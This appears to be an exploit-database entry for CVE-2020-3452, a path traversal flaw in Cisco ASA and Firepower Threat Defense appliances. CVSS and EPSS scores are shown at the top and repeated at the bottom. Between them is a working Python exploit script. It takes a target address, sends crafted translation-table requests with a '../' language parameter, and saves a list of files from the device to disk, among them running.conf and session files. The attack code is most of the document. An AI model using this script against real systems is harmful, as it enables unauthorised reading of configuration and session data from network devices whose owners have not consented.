7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
7.8 High
AI Score
Confidence
High
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
0.975 High
EPSS
Percentile
100.0%
# Exploit Title: Cisco ASA 9.14.1.10 and FTD 6.6.0.1 - Path Traversal (2)
# Date: 12 Dec 2020
# Exploit Author: [email protected]
# Vendor Homepage: cisco.com
# Software Link: Itβs against Hardware, specifically ASAβs and FTDβs
# Version: ASAs (from version 9.6 to 9.14.1.10) and FTDβs (versions 6.2.3 to 6.6.0.1)
# Tested on: exploit runs on Python3 on OSX and on Kali Linux against cisco ASA 9.14
# CVE : CVE-2020-3452
# Github : https://github.com/cygenta/CVE-2020-3452
import requests
# Written by freakyclown for @CygentaHQ
# Cisco ASA Path Traversal
# CVE-2020-3452
# Usage: CVE-2020-3452.py {target}"
# Example: CVE-2020-3452.py 192.168.0.12"
# Requires - Requests - pip3 install requests
#
# This tool takes advantage of the above cve and attempts to
# download files as listed below, it is suggested that you make
# a working folder for the outputfiles to avoid confusion if
# attacking mutliple ASA's
# set your target
target = input("Enter target IP/Url: ")
def grabstuff():
for file in files:
print("trying: ", file)
#set request parameters
params = (
('type', 'mst'),
('textdomain', '+CSCOE+/'+file),
('default-language', ''),
('lang', '../'),
)
# set the response to the result of the request, inputting in target and params and ignoring ssl cert problems
response = requests.get('https://'+target+'/+CSCOT+/translation-table', params=params, verify=False)
# write the file to the disk
f = open(file,"w")
f.write(response.text)
f.close()
# this is a list of files available to download, more will be added in time
# if anyone has a list of ASA files, I'd be happy to add here
files = {
"sess_update.html",
"blank.html",
"noportal.html",
"portal_ce.html",
"portal.html",
"logon_custom.css",
"svc.html",
"logo.gif",
"portal_inc.lua",
"nostcaccess.html",
"session.js",
"portal.js",
"portal_custom.css",
"running.conf",
"tlbrportal_forms.js",
"logon_forms.js",
"win.js",
"portal.css",
"lced.html",
"pluginlib.js",
"useralert.html",
"ping.html",
"app_index.html",
"shshimdo_url",
"session_password.html",
"relayjar.html",
"relayocx.html",
"color_picker.js",
"color_picker.html",
"cedhelp.html",
"cedmain.html",
"cedlogon.html",
"cedportal.html",
"portal_elements.html",
"commonspawn.js",
"common.js",
"appstart.js",
"relaymonjar.html",
"relaymonocx.html",
"cedsave.html",
"tunnel_linux.jnlp",
"ask.html",
"no_svc.html",
"preview.html",
"cedf.html",
"ced.html",
"logon_redirect.html",
"logout.html",
"tunnel_mac.jnlp",
"gp-gip.html",
"auth.html",
"wrong_url.html",
"logon.html"}
# obvious thing is obvious, try the things and barf if fail
try:
grabstuff()
except Exception as err:
print("Something went wrong sorry")
print(err)
7.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
NONE
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
7.8 High
AI Score
Confidence
High
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
0.975 High
EPSS
Percentile
100.0%